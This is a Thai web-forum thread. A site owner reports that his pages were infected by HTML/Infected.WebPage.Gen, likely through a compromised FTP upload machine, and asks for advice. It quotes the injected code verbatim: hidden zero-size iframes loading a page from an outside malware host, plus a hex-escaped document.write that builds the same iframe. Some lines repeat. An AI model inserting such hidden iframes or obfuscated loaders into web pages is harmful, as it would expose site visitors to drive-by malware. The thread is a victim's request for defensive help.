เว็บโดนไวรัส ชื่อ HTML/Infected.WebPage.Gen ครับ
อาการคือ มันจะสร้างหน้า index.html แล้วจะมี code ข้างในว่า
แล้วในหน้า index.php ของผมก็จะมี code แทรกอยู่ตรงส่วนบนว่า
และก็ตรงส่วนล่าง
อาการคือ มันจะสร้างหน้า index.html แล้วจะมี code ข้างในว่า
<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>แล้วในหน้า index.php ของผมก็จะมี code แทรกอยู่ตรงส่วนบนว่า
<script language='JavaScript'>document.write(unescape('\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x5C\x22\x68\x74\x74\x70\x3A\x2F\x2F\x72\x6F\x79\x72\x6F\x73\x65\x31\x39\x33\x39\x2E\x70\x68\x2F\x73\x70\x6C\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x5C\x22\x20\x77\x69\x64\x74\x68\x3D\x5C\x22\x30\x5C\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x5C\x22\x30\x5C\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x20'))</script>และก็ตรงส่วนล่าง
<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>
<iframe src="http://royrose1939.ph/spl/index.php" width="0" height="0"></iframe>
เท่าที่ลองตรวจสอบดู น่าจะมาจากเครื่องที่ผมใช้ upload งานผ่านโปรแกรม ftp
มีใครเคยโดนเหมือนผมบ้างมั้ยครับ
ขอคำแนะนำหน่อยครับ
ลองตรวจสอบ javascript ต่างๆที่ include เข้ามาครับ อาจมีอยู่ในนั้น ลองยกเลิกมันทีละตัวเลยก็ได้ ปกติมันจะมาจากพวกนี้
มันฝังอยู่ในหน้า index.php ของผมเลยแหละครับ
ตอนนี้ค่อยข้างมั่นใจว่ามาจากคอมของผมแน่นอน
เพราะเว็บที่ผม upload จากคอมของผมมีปัญหาเดียวกัน
ผมลอง scan virus ทีเ่ครื่องผมแล้วก็ไม่เจอ
ผมใช้ AntiVir ครับ มี่ ตัวไหนดีดีแนะนำมั้ยครับ
ตอนนี้ค่อยข้างมั่นใจว่ามาจากคอมของผมแน่นอน
เพราะเว็บที่ผม upload จากคอมของผมมีปัญหาเดียวกัน
ผมลอง scan virus ทีเ่ครื่องผมแล้วก็ไม่เจอ
ผมใช้ AntiVir ครับ มี่ ตัวไหนดีดีแนะนำมั้ยครับ